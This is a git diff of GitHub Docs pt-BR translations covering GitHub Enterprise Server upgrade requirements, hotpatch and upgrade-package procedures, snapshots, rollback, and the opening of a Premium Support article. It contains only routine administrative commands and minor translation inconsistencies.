+- Tire um instantâneo antes de atualizar sua máquina virtual. Para obter mais informações, consulte "[Obter um instantâneo](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)".
+- Certifique-se de ter um backup recente e da sua instância. Para obter mais informações, consulte o [Arquivo README.md do {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
 
-## Requirements
+## Requisitos
 
-- You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}.
-- When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users.
+- Você deve atualizar quando a versão do recurso estiver defasada por **no máximo** duas versões. Por exemplo, ao atualizar para o {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, você deve estar nas versões {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} ou {{ enterpriseServerReleases.supported[2] }}.
+- Ao fazer a atualização com um pacote de atualização, agende um período de manutenção para usuários finais de {% data variables.product.prodname_ghe_server %}.
 - {% data reusables.enterprise_installation.hotpatching-explanation %}
-- A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time.
-- Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage.
-- When upgrading through hotpatching, your instance cannot be too heavily loaded, as it may impact the hotpatching process. Pre-flight checks will consider the load average and the upgrade will fail if the load average is too high.- Upgrading to {% data variables.product.prodname_ghe_server %} 2.17 migrates your audit logs from Elasticsearch to MySQL. This migration also increases the amount of time and disk space it takes to restore a snapshot. Before migrating, check the number of bytes in your Elasticsearch audit log indices with this command:
+- Um hotpatch pode causar tempo de inatividade se os serviços afetados (como kernel, MySQL ou Elasticsearch) exigirem reinicialização da VM ou do serviço. Você receberá uma notificação quando/se a reinicialização for necessária. Será possível reinicializar em outro momento.
+- Procure disponibilizar um armazenamento adicional na raiz durante a atualização, já que o hotpatching instala várias versões de alguns serviços até a conclusão da atualização. Caso não haja espaço suficiente, você receberá uma notificação das verificações preliminares.
+- Ao atualizar pelo hotpatching, sua instância não pode ficar carregada demais (isso pode afetar o processo). As verificações preliminares avaliarão se a média de carga e a atualização irão falhar se a média de carga for muito alta. - Atualizar para {% data variables.product.prodname_ghe_server %} 2.17 migra seus logs de auditoria do Elasticsearch para MySQL. Além disso, essa migração aumenta a quantidade de tempo e espaço em disco necessários para restaurar um instantâneo. Antes de migrar, verifique o número de bytes nos índices de log de auditoria do Elasticsearch com este comando:
 ``` shell
 curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes
 ```
-Use the number to estimate the amount of disk space the MySQL audit logs will need. The script also monitors your free disk space while the import is in progress. Monitoring this number is especially useful if your free disk space is close to the amount of disk space necessary for migration.
+Use o número para estimar o espaço em disco necessário para os logs de auditoria do MySQL. O script também monitora seu espaço livre em disco durante o andamento da importação. Monitorar esse número é útil principalmente se o espaço livre em disco estiver próximo da quantidade de espaço em disco necessária para a migração.
 
 {% data reusables.enterprise_installation.upgrade-hardware-requirements %}
 
-## Next steps
+## Próximas etapas
 
-After reviewing these recommendations and requirements, you can upgrade {% data variables.product.prodname_ghe_server %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)."
+Após ler essas recomendações e requisitos, você poderá atualizar para o {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Atualizar o {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)".
diff --git a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
index 7d618961ca..2be07e64ee 100644
--- a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
+++ b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading GitHub Enterprise Server
-intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.'
+title: Atualizar o GitHub Enterprise Server
+intro: 'Atualize o {% data variables.product.prodname_ghe_server %} para usar os recursos e atualizações de segurança mais recentes.'
 redirect_from:
   - /enterprise/admin/installation/upgrading-github-enterprise-server
   - /enterprise/admin/articles/upgrading-to-the-latest-release
@@ -20,221 +20,221 @@ type: how_to
 topics:
   - Enterprise
   - Upgrades
-shortTitle: Upgrading GHES
+shortTitle: Atualizando GHES
 ---
 
 {% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %}
 
-## Preparing to upgrade
+## Preparar para a atualização
 
-1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
-3. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme).
-4. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required.
+1. Determine uma estratégia de atualização e escolha uma versão para atualizar. Para obter mais informações, consulte "[Requisitos de atualização](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" e consulte o [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) para encontrar o caminho de atualização da sua versão atual.
+3. Crie um backup da instância primária usando o {% data variables.product.prodname_enterprise_backup_utilities %}. Para obter mais informações, consulte o [Arquivo README.md do {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
+4. Se você estiver atualizando com um pacote de atualização, programe um período de manutenção para os usuários finais do {% data variables.product.prodname_ghe_server %}. Se estiver usando um hotpatch, não será necessário recorrer ao modo de manutenção.
 
   {% note %}
 
-  **Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+  **Observação:** o período de manutenção depende do tipo de atualização a ser feita. Atualizações com hotpatch normalmente não exigem período de manutenção. É preciso reinicializar a instância em alguns casos, mas o processo pode ser feito em outro momento. Seguindo o esquema de versões do MAJOR.FEATURE.PATCH, as versões de patch que usam pacote de atualização costumam gerar menos de cinco minutos de tempo de inatividade. Versões de recursos que incluem migrações de dados levam mais tempo, dependendo do desempenho do armazenamento e da quantidade de dados migrados. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)".
 
   {% endnote %}
 
 {% data reusables.enterprise_installation.upgrade-hardware-requirements %}
 
-## Taking a snapshot
+## Obter um instantâneo
 
-A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk.
+Instantâneo é um ponto de verificação de uma máquina virtual (VM) em um momento específico. É altamente recomendável obter um instantâneo antes de atualizar sua máquina virtual para que você possa recuperar a VM em caso de falha. Se você estiver atualizando para uma nova versão do recurso, obtenha um instantâneo da VM. Se você estiver atualizando para uma versão de patch, vincule o disco de dados existente.
 
-There are two types of snapshots:
+Há dois tipos de instantâneo:
 
-- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming.
-- **Data disk snapshots** only save your user data.
+- **Instantâneos de VM** salvam todo o estado da VM, inclusive dados do usuário e da configuração. Esse método de instantâneo é demorado e requer muito espaço livre em disco.
+- **Instantâneos em disco de dados** salvam somente os dados do usuário.
 
   {% note %}
 
-  **Notes:**
-  - Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM.
-  - If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession.
+  **Notas:**
+  - Algumas plataformas não permitem usar instantâneos apenas do disco de dados. Nesse caso, você terá que obter um instantâneo de toda a VM.
+  - Se o hipervisor não der suporte a instantâneos completos de VM, obtenha um instantâneo do disco raiz e do disco de dados em rápida sucessão.
 
   {% endnote %}
 
-| Platform | Snapshot method | Snapshot documentation URL |
-|---|---|---|
-| Amazon AWS | Disk | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>
-| Azure | VM | <https://docs.microsoft.com/azure/backup/backup-azure-vms-first-look-arm>
-| Hyper-V | VM | <https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v>
-| Google Compute Engine | Disk | <https://cloud.google.com/compute/docs/disks/create-snapshots>
-| VMware | VM | <https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html>{% ifversion ghes < 3.3 %}
-| XenServer | VM | <https://docs.citrix.com/en-us/xencenter/current-release/vms-snapshots.html>{% endif %}
+| Plataforma            | Método de instantâneo | URL de documentação de instantâneo                                                                                                                                                                                               |
+| --------------------- | --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Amazon AWS            | Disco                 | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>                                                                                                                                                 |
+| Azure                 | VM                    | <https://docs.microsoft.com/azure/backup/backup-azure-vms-first-look-arm>                                                                                                                                                        |
+| Hyper-V               | VM                    | <https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v>                                                                                                               |
+| Google Compute Engine | Disco                 | <https://cloud.google.com/compute/docs/disks/create-snapshots>                                                                                                                                                                   |
+| VMware                | VM                    | [https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html](https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html){% ifversion ghes < 3.3 %}
+| XenServer             | VM                    | <https://docs.citrix.com/en-us/xencenter/current-release/vms-snapshots.html>{% endif %}
 
-## Upgrading with a hotpatch
+## Atualizar com hotpatch
 
-{% data reusables.enterprise_installation.hotpatching-explanation %} Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)."
+{% data reusables.enterprise_installation.hotpatching-explanation %} Ao usar o {% data variables.enterprise.management_console %}, é possível instalar um hotpatch na mesma hora ou programar a instalação para depois. Você pode usar o shell administrativo para instalar um hotpatch com o utilitário `ghe-upgrade`. Para obter mais informações, consulte "[Requisitos de atualização](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)".
 
 {% note %}
 
-**{% ifversion ghes %}Notes{% else %}Note{% endif %}**:
+**{% ifversion ghes %}Observações{% else %}Observação{% endif %}**:
 
 {% ifversion ghes %}
-- If {% data variables.product.product_location %} is running a release candidate build, you can't upgrade with a hotpatch.
+- Se {% data variables.product.product_location %} estiver executando a compilação de um candidato à versão, você não poderá atualizar com um hotpatch.
 
-- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)."
+- {% endif %}Instalando um hotpatch usando o {% data variables.enterprise.management_console %} não está disponível em ambientes com cluster. Para instalar um hotpatch em um ambiente em cluster, consulte "[Atualizar um cluster](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)".
 
 {% endnote %}
 
-### Upgrading a single appliance with a hotpatch
+### Atualizar um appliance com hotpatch
 
-#### Installing a hotpatch using the {% data variables.enterprise.management_console %}
+#### Instalar um hotpatch usando o {% data variables.enterprise.management_console %}
 
-1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)."
+1. Habilite atualizações automáticas. Para obter mais informações, consulte "[Habilitar atualizações automáticas](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)".
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.updates-tab %}
-4. When a new hotpatch has been downloaded, use the Install package drop-down menu:
-    - To install immediately, select **Now**:
-    - To install later, select a later date.
-  ![Hotpatch installation date dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
-5. Click **Install**.
-  ![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
+4. Quando um novo hotpatch for baixado, use o menu suspenso Install package (Instalar pacote):
+    - Para instalar na mesma hora, selecione **Now** (Agora):
+    - Para instalar depois, selecione outra data. ![Menu suspenso com datas para instalação de hotpatch](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
+5. Clique em **instalar**. ![Botão de instalação de hotpatch](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
 
-#### Installing a hotpatch using the administrative shell
+#### Instalar hotpatch usando o shell administrativo
 
 {% data reusables.enterprise_installation.download-note %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file).
+2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copie a URL do hotpackage de atualização (arquivo *.hpkg*).
 {% data reusables.enterprise_installation.download-package %}
-4. Run the `ghe-upgrade` command using the package file name:
+4. Execute o comando `ghe-upgrade` usando o nome de arquivo do pacote:
   ```shell
   admin@<em>HOSTNAME</em>:~$ ghe-upgrade <em>GITHUB-UPGRADE.hpkg</em>
   *** verifying upgrade package signature...
   ```
-5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you.
+5. Se for necessário reinicializar para aplicar as atualizações no kernel, MySQL, Elasticsearch ou em outros programas, você receberá uma notificação do script de atualização do hotpatch.
 
-### Upgrading an appliance that has replica instances using a hotpatch
+### Atualizar um appliance com instâncias de réplica usando hotpatch
 
 {% note %}
 
-**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication.
+**Observação**: Se estiver instalando um hotpatch, não há necessidade de entrar no modo de manutenção ou parar a replicação.
 
 {% endnote %}
 
-Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
+Appliances configurados para alta disponibilidade e replicação geográfica usam instâncias de réplica, além de instâncias principais. Para atualizar esses appliance, você terá que atualizar a instância primária e todas as instâncias de réplica, uma por vez.
 
-#### Upgrading the primary instance
+#### Atualizar a instância primária
 
-1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)."
+1. Atualize a instância primária seguindo as instruções em "[Instalar hotpatch usando o shell administrativo](#installing-a-hotpatch-using-the-administrative-shell)".
 
-#### Upgrading a replica instance
+#### Atualizar uma instância de réplica
 
 {% note %}
 
-**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
+**Observação:** se você estiver executando várias instâncias de réplica como parte da replicação geográfica, repita esse procedimento para cada instância de réplica, uma por vez.
 
 {% endnote %}
 
-1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
+1. Atualize a réplica primária seguindo as instruções em "[Instalar hotpatch usando o shell administrativo](#installing-a-hotpatch-using-the-administrative-shell)". Se você estiver usando várias réplicas de replicação geográfica, você deverá repetir esse procedimento para atualizar cada réplica por vez.
 {% data reusables.enterprise_installation.replica-ssh %}
 {% data reusables.enterprise_installation.replica-verify %}
 
-## Upgrading with an upgrade package
+## Atualizar com pacote de atualização
 
-While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)."
+Mesmo que seja possível usar um hotpatch para fazer a atualização do patch em uma série, você deve usar um pacote de atualização a fim de atualizar para uma versão mais recente. Por exemplo, use um pacote ao atualizar da versão `2.11.10` para a `2.12.4`, já que elas estão em séries diferentes. Para obter mais informações, consulte "[Requisitos de atualização](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)".
 
-### Upgrading a single appliance with an upgrade package
+### Atualizar um appliance com pacote de atualização
 
 {% data reusables.enterprise_installation.download-note %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file).
+2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Selecione a plataforma adequada e copie a URL do pacote de atualização (arquivo *.pkg*).
 {% data reusables.enterprise_installation.download-package %}
-4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+4. Habilite o modo de manutenção e aguarde a conclusão de todos os processos ativos na instância do {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)".
 
   {% note %}
 
-  **Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)."
+  **Observação**: ao atualizar o appliance primário em uma configuração de alta disponibilidade, o appliance já deverá estar no modo de manutenção se você seguir as instruções em "[Atualizar a instância primária](#upgrading-the-primary-instance)".
 
   {% endnote %}
 
-5. Run the `ghe-upgrade` command using the package file name:
+5. Execute o comando `ghe-upgrade` usando o nome de arquivo do pacote:
   ```shell
   admin@<em>HOSTNAME</em>:~$ ghe-upgrade <em>GITHUB-UPGRADE.pkg</em>
   *** verifying upgrade package signature...
   ```
-6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode:
+6. Confirme que você gostaria de continuar a atualização e de reiniciar após a verificação da assinatura do pacote. O novo sistema de arquivos raiz grava na partição secundária, e a instância é reiniciada automaticamente em modo de manutenção:
   ```shell
-  *** applying update...
+  *** aplicando atualização...
   This package will upgrade your installation to version <em>version-number</em>
   Current root partition: /dev/xvda1 [<em>version-number</em>]
   Target root partition:  /dev/xvda2
   Proceed with installation? [y/N]
   ```
-7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.product.product_location %}.
+7. Em atualizações de appliance único, desabilite o modo de manutenção para os usuários poderem trabalhar com a {% data variables.product.product_location %}.
 
   {% note %}
 
-  **Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)."
+  **Observação**: ao atualizar appliances em configurações de alta disponibilidade, mantenha o modo de manutenção até atualizar todas as réplicas e a replicação estar atual. Para obter mais informações, consulte "[Atualizar instância de réplica](#upgrading-a-replica-instance)".
 
   {% endnote %}
 
-### Upgrading an appliance that has replica instances using an upgrade package
+### Atualizar um appliance com instâncias de réplica usando um pacote de atualização
 
-Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
+Appliances configurados para alta disponibilidade e replicação geográfica usam instâncias de réplica, além de instâncias principais. Para atualizar esses appliance, você terá que atualizar a instância primária e todas as instâncias de réplica, uma por vez.
 
-#### Upgrading the primary instance
+#### Atualizar a instância primária
 
 {% warning %}
 
-**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost.
+**Aviso:** se a replicação for interrompida em caso de falha da instância primária, será perdido qualquer trabalho feito antes da atualização da réplica e do reinício da replicação.
 
 {% endwarning %}
 
-1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)."
+1. Na instância primária, habilite o modo de manutenção e aguarde a conclusão de todos os processos ativos. Para obter mais informações, consulte "[Habilitar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)".
 {% data reusables.enterprise_installation.replica-ssh %}
-3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication.
-4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)."
+3. Na instância de réplica (ou em todas as instâncias de réplica), se você estiver executando várias réplicas como parte da replicação geográfica, execute `ghe-repl-stop` para parar a replicação.
+4. Atualize a instância primária seguindo as instruções em "[Atualizar um appliance com pacote de atualização](#upgrading-a-single-appliance-with-an-upgrade-package)".
 
-#### Upgrading a replica instance
+#### Atualizar uma instância de réplica
 
 {% note %}
 
-**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
+**Observação:** se você estiver executando várias instâncias de réplica como parte da replicação geográfica, repita esse procedimento para cada instância de réplica, uma por vez.
 
 {% endnote %}
 
-1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
+1. Atualize a réplica primária seguindo as instruções em "[Atualizar um aplicativo com pacote de atualização](#upgrading-a-single-appliance-with-an-upgrade-package)". Se você estiver usando várias réplicas de replicação geográfica, você deverá repetir esse procedimento para atualizar cada réplica por vez.
 {% data reusables.enterprise_installation.replica-ssh %}
 {% data reusables.enterprise_installation.replica-verify %}
 
 {% data reusables.enterprise_installation.start-replication %}
 
-{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again.
+{% data reusables.enterprise_installation.replication-status %} Se o comando retornar `Replicação não executada`, pode ser que a replicação ainda esteja começando. Aguarde cerca de um minuto para executar `ghe-repl-status` novamente.
 
    {% note %}
 
-    **Note:** While the resync is in progress `ghe-repl-status` may return expected messages indicating that replication is behind.
-    For example: `CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists`
+    **Observação:** enquanto a ressincronização estiver em andamento, o código `ghe-repl-status` pode retornar mensagens esperadas indicando que a replicação está atrasada.
+    Por exemplo: `CRÍTICO: a replicação git está atrás do primário em mais de 1007 repositórios e/ou gists`
 
    {% endnote %}
 
-   If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
-   
-6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.product.product_location %}.
+   Se `ghe-repl-status` não retornou `OK`, entre em contato com {% data variables.contact.enterprise_support %}. Para obter mais informações, consulte "[Receber ajuda de {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)".
 
-## Restoring from a failed upgrade
+6. Ao concluir a atualização da última réplica e quando a ressincronização terminar, desabilite o modo de manutenção para que os usuários possam trabalhar na {% data variables.product.product_location %}.
 
-If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade.
+## Restaurar após uma atualização com falha
 
-### Rolling back a patch release
+Em caso de falha ou interrupção da atualização, volte a sua instância ao estado anterior. Esse processo dependerá do tipo de atualização.
 
-To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
+### Voltar a uma versão de patch
 
-For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)."
+Para reverter uma versão de patch, use o comando `ghe-upgrade` com o switch `--allow-patch-rollback`. Before rolling back, replication must be temporarily stopped by running `ghe-repl-stop` on all replica instances. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
 
-### Rolling back a feature release
+Once the rollback is complete, restart replication by running `ghe-repl-start` on all replicas.
 
-To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)."
+Para obter mais informações, consulte "[Utilitários de linha de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)".
+
+### Voltar a uma versão de recurso
+
+Para voltar a partir de uma versão de recurso, faça a restauração partindo de um instantâneo da VM para garantir o estado consistente das partições raiz e de dados. Para obter mais informações, consulte "[Obter um instantâneo](#taking-a-snapshot)".
 
 {% ifversion ghes %}
-## Further reading
+## Leia mais
 
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"
+- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)"
 {% endif %}
diff --git a/translations/pt-BR/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md b/translations/pt-BR/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md
index 19b17f289b..f9b75f44fc 100644
--- a/translations/pt-BR/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md
+++ b/translations/pt-BR/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Premium Support for GitHub Enterprise Server
-intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.'
+title: Sobre o suporte Premium do GitHub para o GitHub Enterprise Server
+intro: 'O {% data variables.contact.premium_support %} é uma opção de suporte complementar pago oferecida aos clientes do {% data variables.product.prodname_enterprise %}.'
 redirect_from:
   - /enterprise/admin/guides/enterprise-support/about-premium-support-for-github-enterprise
   - /enterprise/admin/guides/enterprise-support/about-premium-support
@@ -12,29 +12,30 @@ type: overview
 topics:
   - Enterprise
   - Support
-shortTitle: Premium Support for GHES
+shortTitle: Suporte Premium para GHES
 ---
+
 {% note %}
 
-**Notes:**
+**Notas:**
 
-- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of September 2018. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, your plan might be different. Contact {% data variables.contact.premium_support %} for more details.
+- Os termos do {% data variables.contact.premium_support %} estão sujeitos a alteração sem aviso prévio e entram em vigor a partir de setembro de 2018. Se a sua compra do {% data variables.contact.premium_support %} foi feita antes de 17 de setembro de 2018, seu plano pode ser diferente. Entre em contato com {% data variables.contact.premium_support %} para obter mais detalhes.
 
 - {% data reusables.support.data-protection-and-privacy %}
 
-- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %} customers. The terms may be different for customers of {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. For more information, see "<a href="/articles/about-github-premium-support-for-github-enterprise-cloud" class="dotcom-only">About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}</a>" and "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %}](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)."
+- Este artigo contém os termos do {% data variables.contact.premium_support %} para os clientes do {% data variables.product.prodname_ghe_server %}. Os termos podem ser diferentes para clientes do {% data variables.product.prodname_ghe_cloud %} ou do {% data variables.product.prodname_enterprise %} que compram o {% data variables.product.prodname_ghe_server %} e o {% data variables.product.prodname_ghe_cloud %} juntos. Para obter mais informações, consulte "<a href="/articles/about-github-premium-support-for-github-enterprise-cloud" class="dotcom-only">Sobre o{% data variables.contact.premium_support %} para {% data variables.product.prodname_ghe_cloud %}</a>" e "[Sobre o{% data variables.contact.premium_support %} para {% data variables.product.prodname_enterprise %}](/enterprise/{{ currentVersion }}/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)".
 
 {% endnote %}
 
-## About {% data variables.contact.premium_support %}
+## Sobre o {% data variables.contact.premium_support %}
 
-In addition to all of the benefits of {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} offers:
